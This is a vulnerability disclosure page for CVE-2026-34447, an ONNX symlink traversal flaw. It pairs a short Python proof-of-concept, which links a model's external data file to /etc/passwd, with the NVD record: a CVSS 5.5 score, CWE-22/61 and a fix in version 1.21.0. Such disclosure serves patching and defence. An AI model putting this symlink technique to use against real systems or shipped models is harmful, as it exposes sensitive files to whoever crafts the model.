CVE-2026-34447

import os import onnx # PoC for CVE-2026-34447: ONNX Symlink Traversal # This script demonstrates how a symlink can be used to read arbitrary files. # Step 1: Create a directory for the malicious model os.makedirs("malicious_model", exist_ok=True) os.chdir("malicious_model") # Step 2: Create a symlink pointing to a sensitive file (e.g., /etc/passwd) # The external data parser will follow this link target_file = "/etc/passwd" symlink_name = "external_data.bin" try: os.symlink(target_file, symlink_name) print(f"[+] Created symlink '{symlink_name}' -> '{target_file}'") except OSError as e: print(f"[-] Failed to create symlink: {e}") # Step 3: In a real exploit, an ONNX model file would be created/modified # to reference 'external_data.bin'. When the victim loads the model, # ONNX reads the file content through the symlink. print("[+] PoC setup complete. If a model references 'external_data.bin', /etc/passwd will be read.")

{"cve": {"id": "CVE-2026-34447", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:30.810", "lastModified": "2026-04-15T14:45:48.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:onnx:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.0", "matchCriteriaId": "D94F43D7-D50D-4698-B07D-215EBBAB63F2"}]}]}], "references": [{"url": "https://github.com/onnx/onnx/security/advisories/GHSA-p433-9wv8-28xj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}